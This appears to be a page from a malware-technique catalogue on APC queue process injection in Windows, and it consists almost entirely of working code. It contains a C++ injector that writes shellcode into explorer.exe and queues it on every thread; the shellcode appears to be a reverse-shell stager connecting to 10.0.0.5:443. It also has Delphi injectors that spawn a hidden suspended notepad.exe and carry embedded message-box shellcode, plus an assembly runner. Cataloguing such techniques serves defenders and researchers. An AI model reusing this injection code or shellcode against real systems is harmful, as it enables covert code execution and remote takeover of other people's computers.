Description
Original source: https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection
#include "pch.h"
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include <vector>
int main()
{
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\x0a\x00\x00\x05\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
HANDLE victimProcess = NULL;
PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
std::vector<DWORD> threadIds;
SIZE_T shellSize = sizeof(buf);
HANDLE threadHandle = NULL;
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processEntry.szExeFile, L"explorer.exe") != 0) {
Process32Next(snapshot, &processEntry);
}
}
victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);
if (Thread32First(snapshot, &threadEntry)) {
do {
if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
threadIds.push_back(threadEntry.th32ThreadID);
}
} while (Thread32Next(snapshot, &threadEntry));
}
for (DWORD threadId : threadIds) {
threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
Sleep(1000 * 2);
}
return 0;
}
Author: Unprotect / Target Platform: Windows
Description
This code demonstrate how to use QueueUserAPC
to run code in a remote process.
PoC Steps:
- Create a new process in suspended state.
Method N°1:
* Allocate RWX memory in remote process to host our shellcode.
* Copy shellcode to new memory location.
Method N°2:
* Create a new memory section.
* Map new memory section to current process.
* Share new memory section with target process.
* Copy shellcode to shared memory location.
- Implement our shellcode to target process main thread APC queue.
- Resume target process main thread to execute our shellcode.
⚠️ Embedded shellcode will show a message box on behalf of target process. It is harmless but I always recommend to avoid blindly running shellcode you may find in proof of concepts. Feel free to patch both x86-32 / x86-64 version with your own version.
// Support both x86-32 and x86-64
program APCInjector;
{$APPTYPE CONSOLE}
{$R *.res}
uses
System.SysUtils,
WinAPI.Messages,
WinAPI.Windows;
type
EWindowsException = class(Exception)
private
FLastError : Integer;
public
{@C}
constructor Create(const WinAPI : String); overload;
{@G}
property LastError : Integer read FLastError;
end;
const STATUS_SUCCESS = NTSTATUS($0);
THREAD_SET_CONTEXT = $10;
THREAD_SUSPEND_RESUME = $2;
ViewShare = 1;
ViewUnmap = 2;
type
SECTION_INHERIT = ViewShare..ViewUnmap;
ARCH_ULONG = {$IFDEF WIN64} ULONG64 {$ELSE} ULONG {$ENDIF};
ARCH_PULONG = {$IFDEF WIN64} PULONG64 {$ELSE} PULONG {$ENDIF};
function NtCreateSection(
SectionHandle : PHandle;
DesiredAccess : ACCESS_MASK;
ObjectAttributes : Pointer;
SectionSize : PLargeInteger;
Protect : ULONG;
Attributes : ULONG;
FileHandle : THandle
): NTSTATUS; stdcall; external 'ntdll.dll';
function NtMapViewOfSection(
SectionHandle : THandle;
ProcessHandle : THandle;
BaseAddress : PPVOID;
ZeroBits : ARCH_ULONG;
CommitSize : ARCH_ULONG;
SectionOffset : PLargeInteger;
ViewSize : ARCH_PULONG;
InheritDisposition : SECTION_INHERIT;
AllocationType : ARCH_ULONG;
Protect : ARCH_ULONG
): NTSTATUS; stdcall; external 'ntdll.dll';
function NtUnmapViewOfSection(
ProcessHandle : THandle;
BaseAddress : PVOID
): NTSTATUS; stdcall; external 'ntdll.dll';
function NtClose(
Handle : THandle
): NTSTATUS; stdcall; external 'ntdll.dll';
function NtTestAlert(): DWORD; stdcall; external 'ntdll.dll';
function OpenThread(
dwDesiredAccess : DWORD;
bInheritHandle : BOOL;
dwThreadId : DWORD
): DWORD; stdcall; external 'kernel32.dll';
constructor EWindowsException.Create(const WinAPI : String);
var AFormatedMessage : String;
begin
FLastError := GetLastError();
AFormatedMessage := Format('___%s: last_err=%d, last_err_msg="%s".', [
WinAPI,
FLastError,
SysErrorMessage(FLastError)
]);
///
inherited Create(AFormatedMessage);
end;
var // hWindow : THandle;
// AProcessId : Cardinal;
// AThreadId : Integer;
hThread : THandle;
// hRemoteProcess : THandle;
pRemotePayloadAddress : Pointer;
hProcess : THandle;
AStartupInfo : TStartupInfo;
AProcessInfo : TProcessInformation;
{$IFDEF WIN64}
// Execute a messagebox in target process (x86-64)
const PAYLOAD : array[0..284-1] of byte = (
$fc, $48, $81, $e4, $f0, $ff, $ff, $ff, $e8, $d0, $00, $00, $00, $41, $51,
$41, $50, $52, $51, $56, $48, $31, $d2, $65, $48, $8b, $52, $60, $3e, $48,
$8b, $52, $18, $3e, $48, $8b, $52, $20, $3e, $48, $8b, $72, $50, $3e, $48,
$0f, $b7, $4a, $4a, $4d, $31, $c9, $48, $31, $c0, $ac, $3c, $61, $7c, $02,
$2c, $20, $41, $c1, $c9, $0d, $41, $01, $c1, $e2, $ed, $52, $41, $51, $3e,
$48, $8b, $52, $20, $3e, $8b, $42, $3c, $48, $01, $d0, $3e, $8b, $80, $88,
$00, $00, $00, $48, $85, $c0, $74, $6f, $48, $01, $d0, $50, $3e, $8b, $48,
$18, $3e, $44, $8b, $40, $20, $49, $01, $d0, $e3, $5c, $48, $ff, $c9, $3e,
$41, $8b, $34, $88, $48, $01, $d6, $4d, $31, $c9, $48, $31, $c0, $ac, $41,
$c1, $c9, $0d, $41, $01, $c1, $38, $e0, $75, $f1, $3e, $4c, $03, $4c, $24,
$08, $45, $39, $d1, $75, $d6, $58, $3e, $44, $8b, $40, $24, $49, $01, $d0,
$66, $3e, $41, $8b, $0c, $48, $3e, $44, $8b, $40, $1c, $49, $01, $d0, $3e,
$41, $8b, $04, $88, $48, $01, $d0, $41, $58, $41, $58, $5e, $59, $5a, $41,
$58, $41, $59, $41, $5a, $48, $83, $ec, $20, $41, $52, $ff, $e0, $58, $41,
$59, $5a, $3e, $48, $8b, $12, $e9, $49, $ff, $ff, $ff, $5d, $49, $c7, $c1,
$30, $00, $00, $00, $3e, $48, $8d, $95, $fe, $00, $00, $00, $3e, $4c, $8d,
$85, $0b, $01, $00, $00, $48, $31, $c9, $41, $ba, $45, $83, $56, $07, $ff,
$d5, $48, $31, $c9, $41, $ba, $f0, $b5, $a2, $56, $ff, $d5, $48, $65, $6c,
$6c, $6f, $2c, $20, $57, $6f, $72, $6c, $64, $00, $42, $6f, $6f, $00
);
{$ELSE}
// Execute a messagebox in target process (x86-32)
const PAYLOAD : array[0..236-1] of byte = (
$d9, $eb, $9b, $d9, $74, $24, $f4, $31, $d2, $b2, $77, $31, $c9, $64, $8b,
$71, $30, $8b, $76, $0c, $8b, $76, $1c, $8b, $46, $08, $8b, $7e, $20, $8b,
$36, $38, $4f, $18, $75, $f3, $59, $01, $d1, $ff, $e1, $60, $8b, $6c, $24,
$24, $8b, $45, $3c, $8b, $54, $28, $78, $01, $ea, $8b, $4a, $18, $8b, $5a,
$20, $01, $eb, $e3, $34, $49, $8b, $34, $8b, $01, $ee, $31, $ff, $31, $c0,
$fc, $ac, $84, $c0, $74, $07, $c1, $cf, $0d, $01, $c7, $eb, $f4, $3b, $7c,
$24, $28, $75, $e1, $8b, $5a, $24, $01, $eb, $66, $8b, $0c, $4b, $8b, $5a,
$1c, $01, $eb, $8b, $04, $8b, $01, $e8, $89, $44, $24, $1c, $61, $c3, $b2,
$04, $29, $d4, $89, $e5, $89, $c2, $68, $8e, $4e, $0e, $ec, $52, $e8, $9f,
$ff, $ff, $ff, $89, $45, $04, $68, $6c, $6c, $20, $41, $68, $33, $32, $2e,
$64, $68, $75, $73, $65, $72, $30, $db, $88, $5c, $24, $0a, $89, $e6, $56,
$ff, $55, $04, $89, $c2, $50, $bb, $a8, $a2, $4d, $bc, $87, $1c, $24, $52,
$e8, $70, $ff, $ff, $ff, $68, $42, $6f, $6f, $58, $31, $db, $88, $5c, $24,
$03, $89, $e3, $68, $58, $20, $20, $20, $68, $6f, $72, $6c, $64, $68, $6f,
$2c, $20, $57, $68, $48, $65, $6c, $6c, $31, $c9, $88, $4c, $24, $0c, $89,
$e1, $31, $d2, $6a, $30, $53, $51, $52, $ff, $d0, $90
);
{$ENDIF}
{ Inject_WriteProcessMemory
This method use the classic WriteProcessMemory method to inject our payload to remote process }
function Inject_WriteProcessMemory(const hProcess : THandle; const pBuffer : PVOID; const ABufferSize : Cardinal) : Pointer;
var ABytesWritten : SIZE_T;
pAddress : Pointer;
begin
result := nil;
///
if not Assigned(pBuffer) or (AbufferSize = 0) then
exit();
pAddress := VirtualAllocEx(hProcess, nil, ABufferSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if not Assigned(pAddress) then
raise EWindowsException.Create('VirtualAllocEx');
///
if not WriteProcessMemory(hProcess, pAddress, pBuffer, ABufferSize, ABytesWritten) then
raise EWindowsException.Create('WriteProcessMemory');
///
result := pAddress;
end;
function MapViewOfSection(const ASectionHandle, hProcess : THandle; const ASectionSize : ULONG; const AInherit : SECTION_INHERIT) : Pointer;
var ANTStatus : NTSTATUS;
pSectionAddress : Pointer;
begin
pSectionAddress := nil;
ANTStatus := NtMapViewOfSection(
ASectionHandle,
hProcess,
@pSectionAddress,
0,
0,
nil,
@ASectionSize,
AInherit,
0,
PAGE_EXECUTE_READWRITE
);
if ANTStatus <> STATUS_SUCCESS then
raise Exception.Create(Format('NtMapViewOfSection failed, NTStatus=[%d]', [ANTStatus]));
///
result := pSectionAddress;
end;
{ Inject_SharedSection
This method used a shared section to inject our payload to a remote process }
function Inject_SharedSection(const hProcess : THandle; const pBuffer : PVOID; const ABufferSize : Cardinal) : Pointer;
var ANTStatus : NTSTATUS;
ASectionHandle : THandle;
pLocalSectionAddress : Pointer;
pRemoteSectionAddress : Pointer;
ASectionSize : TLargeInteger;
begin
result := nil;
///
ASectionSize := ABufferSize;
ASectionHandle := 0;
pLocalSectionAddress := nil;
try
// Create a new memory section
ANTStatus := NtCreateSection(
@ASectionHandle,
SECTION_MAP_READ or SECTION_MAP_WRITE or SECTION_MAP_EXECUTE,
nil,
@ASectionSize,
PAGE_EXECUTE_READWRITE,
SEC_COMMIT,
0
);
if ANTStatus <> STATUS_SUCCESS then
raise Exception.Create(Format('NtCreateSection failed, NTStatus=[%d]', [ANTStatus]));
///
// Map new section and share it with target process
pLocalSectionAddress := MapViewOfSection(ASectionHandle, GetCurrentProcess(), ABufferSize, ViewUnmap);
pRemoteSectionAddress := MapViewOfSection(ASectionHandle, hProcess, ABufferSize, ViewShare);
// Copy our payload to our new section
CopyMemory(pLocalSectionAddress, pBuffer, ABufferSize);
finally
// Unmap section for current process
if Assigned(pLocalSectionAddress) then
NtUnmapViewOfSection(GetCurrentProcess(), pLocalSectionAddress);
// Close section for our current process
if ASectionHandle <> 0 then
NtClose(ASectionHandle);
end;
///
result := pRemoteSectionAddress; // Return payload location in remote process
end;
begin
try
(*
// Bellow code demonstrate how to use FindWindow + GetWindowThreadProcessId and
// OpenProcess to achieve the same result in an existing process.
// Bellow method when possible is interesting to avoid iterating on threads.
// Get target process handle from its window handle
hWindow := FindWindowW(nil, 'PEView - Untitled');
if hWindow = 0 then
raise Exception.Create('Could not find window handle.');
///
// Get target process identifier from its window handle
AThreadId := GetWindowThreadProcessId(hWindow, AProcessId);
if AProcessId = 0 then
raise EWindowsException.Create('GetWindowThreadProcessId');
///
// Open target process
hRemoteProcess := OpenProcess(PROCESS_VM_OPERATION or PROCESS_VM_WRITE, false, AProcessId);
if hRemoteProcess = 0 then
raise EWindowsException.Create('OpenProcess');
// hThread := OpenThread(THREAD_SET_CONTEXT or THREAD_SUSPEND_RESUME, False, AProcessInfo.hThread);
// if hThread = 0 then
// raise EWindowsException.Create('OpenThread');
*)
ZeroMemory(@AProcessInfo, SizeOf(TProcessInformation));
ZeroMemory(@AStartupInfo, Sizeof(TStartupInfo));
AStartupInfo.cb := SizeOf(TStartupInfo);
AStartupInfo.wShowWindow := SW_HIDE;
AStartupInfo.dwFlags := (STARTF_USESHOWWINDOW);
if not CreateProcessW(
'c:\Windows\notepad.exe', // Edit here accordingly
nil, // Edit here accordingly
nil,
nil,
False,
CREATE_SUSPENDED,
nil,
nil,
AStartupInfo,
AProcessInfo
) then
raise EWindowsException.Create('CreateProcessW');
try
try
// Alternatively you can comment "Inject_SharedSection" and use "Inject_WriteProcessMemory" instead.
pRemotePayloadAddress := Inject_SharedSection(AProcessInfo.hProcess, @PAYLOAD, Length(PAYLOAD));
// pRemotePayloadAddress := Inject_WriteProcessMemory(AProcessInfo.hProcess, @PAYLOAD, Length(PAYLOAD));
if not Assigned(pRemotePayloadAddress) then
raise Exception.Create('Could not inject buffer to remote process.');
if not QueueUserAPC(pRemotePayloadAddress, AProcessInfo.hThread, 0) then
raise EWindowsException.Create('QueueUserAPC');
ResumeThread(AProcessInfo.hThread);
finally
CloseHandle(hThread);
end;
finally
CloseHandle(AProcessInfo.hThread);
end;
except
on E: Exception do
Writeln(E.ClassName, ': ', E.Message);
end;
end.
Author: Jean-Pierre LESUEUR (DarkCoderSc) / Target Platform: Windows
Description
This code snippet demonstrate the use of QueueUserAPC
with NtTestAlert
to run our shellcode.
⚠️ Embedded shellcode will show a message box on behalf of target process. It is harmless but I always recommend to avoid blindly running shellcode you may find in proof of concepts. Feel free to patch both x86-32 / x86-64 version with your own version.
// Support both x86-32 and x86-64
program APCRun;
{$APPTYPE CONSOLE}
{$R *.res}
uses
System.SysUtils,
WinAPI.Messages,
WinAPI.Windows;
type
EWindowsException = class(Exception)
private
FLastError : Integer;
public
{@C}
constructor Create(const WinAPI : String); overload;
{@G}
property LastError : Integer read FLastError;
end;
const STATUS_SUCCESS = NTSTATUS($0);
function NtTestAlert(): DWORD; stdcall; external 'ntdll.dll';
constructor EWindowsException.Create(const WinAPI : String);
var AFormatedMessage : String;
begin
FLastError := GetLastError();
AFormatedMessage := Format('___%s: last_err=%d, last_err_msg="%s".', [
WinAPI,
FLastError,
SysErrorMessage(FLastError)
]);
///
inherited Create(AFormatedMessage);
end;
{$IFDEF WIN64}
// Execute a messagebox in target process (x86-64)
const PAYLOAD : array[0..284-1] of byte = (
$fc, $48, $81, $e4, $f0, $ff, $ff, $ff, $e8, $d0, $00, $00, $00, $41, $51,
$41, $50, $52, $51, $56, $48, $31, $d2, $65, $48, $8b, $52, $60, $3e, $48,
$8b, $52, $18, $3e, $48, $8b, $52, $20, $3e, $48, $8b, $72, $50, $3e, $48,
$0f, $b7, $4a, $4a, $4d, $31, $c9, $48, $31, $c0, $ac, $3c, $61, $7c, $02,
$2c, $20, $41, $c1, $c9, $0d, $41, $01, $c1, $e2, $ed, $52, $41, $51, $3e,
$48, $8b, $52, $20, $3e, $8b, $42, $3c, $48, $01, $d0, $3e, $8b, $80, $88,
$00, $00, $00, $48, $85, $c0, $74, $6f, $48, $01, $d0, $50, $3e, $8b, $48,
$18, $3e, $44, $8b, $40, $20, $49, $01, $d0, $e3, $5c, $48, $ff, $c9, $3e,
$41, $8b, $34, $88, $48, $01, $d6, $4d, $31, $c9, $48, $31, $c0, $ac, $41,
$c1, $c9, $0d, $41, $01, $c1, $38, $e0, $75, $f1, $3e, $4c, $03, $4c, $24,
$08, $45, $39, $d1, $75, $d6, $58, $3e, $44, $8b, $40, $24, $49, $01, $d0,
$66, $3e, $41, $8b, $0c, $48, $3e, $44, $8b, $40, $1c, $49, $01, $d0, $3e,
$41, $8b, $04, $88, $48, $01, $d0, $41, $58, $41, $58, $5e, $59, $5a, $41,
$58, $41, $59, $41, $5a, $48, $83, $ec, $20, $41, $52, $ff, $e0, $58, $41,
$59, $5a, $3e, $48, $8b, $12, $e9, $49, $ff, $ff, $ff, $5d, $49, $c7, $c1,
$30, $00, $00, $00, $3e, $48, $8d, $95, $fe, $00, $00, $00, $3e, $4c, $8d,
$85, $0b, $01, $00, $00, $48, $31, $c9, $41, $ba, $45, $83, $56, $07, $ff,
$d5, $48, $31, $c9, $41, $ba, $f0, $b5, $a2, $56, $ff, $d5, $48, $65, $6c,
$6c, $6f, $2c, $20, $57, $6f, $72, $6c, $64, $00, $42, $6f, $6f, $00
);
{$ELSE}
// Execute a messagebox in target process (x86-32)
const PAYLOAD : array[0..236-1] of byte = (
$d9, $eb, $9b, $d9, $74, $24, $f4, $31, $d2, $b2, $77, $31, $c9, $64, $8b,
$71, $30, $8b, $76, $0c, $8b, $76, $1c, $8b, $46, $08, $8b, $7e, $20, $8b,
$36, $38, $4f, $18, $75, $f3, $59, $01, $d1, $ff, $e1, $60, $8b, $6c, $24,
$24, $8b, $45, $3c, $8b, $54, $28, $78, $01, $ea, $8b, $4a, $18, $8b, $5a,
$20, $01, $eb, $e3, $34, $49, $8b, $34, $8b, $01, $ee, $31, $ff, $31, $c0,
$fc, $ac, $84, $c0, $74, $07, $c1, $cf, $0d, $01, $c7, $eb, $f4, $3b, $7c,
$24, $28, $75, $e1, $8b, $5a, $24, $01, $eb, $66, $8b, $0c, $4b, $8b, $5a,
$1c, $01, $eb, $8b, $04, $8b, $01, $e8, $89, $44, $24, $1c, $61, $c3, $b2,
$04, $29, $d4, $89, $e5, $89, $c2, $68, $8e, $4e, $0e, $ec, $52, $e8, $9f,
$ff, $ff, $ff, $89, $45, $04, $68, $6c, $6c, $20, $41, $68, $33, $32, $2e,
$64, $68, $75, $73, $65, $72, $30, $db, $88, $5c, $24, $0a, $89, $e6, $56,
$ff, $55, $04, $89, $c2, $50, $bb, $a8, $a2, $4d, $bc, $87, $1c, $24, $52,
$e8, $70, $ff, $ff, $ff, $68, $42, $6f, $6f, $58, $31, $db, $88, $5c, $24,
$03, $89, $e3, $68, $58, $20, $20, $20, $68, $6f, $72, $6c, $64, $68, $6f,
$2c, $20, $57, $68, $48, $65, $6c, $6c, $31, $c9, $88, $4c, $24, $0c, $89,
$e1, $31, $d2, $6a, $30, $53, $51, $52, $ff, $d0, $90
);
{$ENDIF}
var pPayload : Pointer;
begin
try
pPayload := VirtualAlloc(nil, Length(PAYLOAD), MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if not Assigned(pPayload) then
raise EWindowsException.Create('VirtualAlloc');
///
CopyMemory(pPayload, @PAYLOAD, Length(PAYLOAD));
if not QueueUserAPC(pPayload, GetCurrentThread(), 0) then
raise EWindowsException.Create('QueueUserAPC');
NtTestAlert();
except
on E: Exception do
Writeln(E.ClassName, ': ', E.Message);
end;
end.
Author: Jean-Pierre LESUEUR (DarkCoderSc) / Target Platform: Windows
format PE GUI 4.0
entry main
include 'win32w.inc'
section '.code' readable executable
; **************************************************
; * Code
main:
; VirtualAlloc()
xor eax, eax ; NULL
push PAGE_EXECUTE_READWRITE ; VirtualAlloc.flProtect
push MEM_COMMIT or MEM_RESERVE ; VirtualAlloc.flAllocationType
push [shellcode_length] ; VirtualAlloc.dwSize
push eax ; VirtualAlloc.lpAddress
call [VirtualAlloc]
test eax, eax
jz exit
; Copy Shellcode to Allocated Memory Region
mov edi, eax ; Destination
mov esi, shellcode ; Source
mov ecx, [shellcode_length] ; Count
rep movsb ; Copy
mov esi, eax ; eax eq destination
; GetCurrentThread()
call [GetCurrentThread]
mov ebx, eax
; QueueUserAPC()
xor eax, eax
push eax ; QueueUserAPC.dwData
push ebx ; QueueUserAPC.hThread (Current Thread)
push esi ; QueueUserAPC.pfnAPC (Copied Shellcode)
call [QueueUserAPC]
test eax, eax
jz exit
; NtTestAlert()
call [NtTestAlert]
exit:
; ExitProcess()
xor eax, eax
inc eax ; ExitCode = 1
push eax ; ExitProcess.uExitCode
call [ExitProcess]
; **************************************************
; * Data
section '.data' data readable
; Replace with your own shellcode
shellcode db 0xcc, 0x90, 0x90, 0x90, 0x90
shellcode_length dd $ - shellcode
; **************************************************
; * Imports
section '.idata' import data readable
library kernel32, 'KERNEL32.dll',\
ntdll, 'NTDLL.DLL'
import kernel32,\
ExitProcess, 'ExitProcess',\
GetCurrentThread, 'GetCurrentThread',\
QueueUserAPC, 'QueueUserAPC',\
VirtualAlloc, 'VirtualAlloc'
import ntdll,\
NtTestAlert, 'NtTestAlert'
Author: Jean-Pierre LESUEUR (DarkCoderSc) / Target Platform: Windows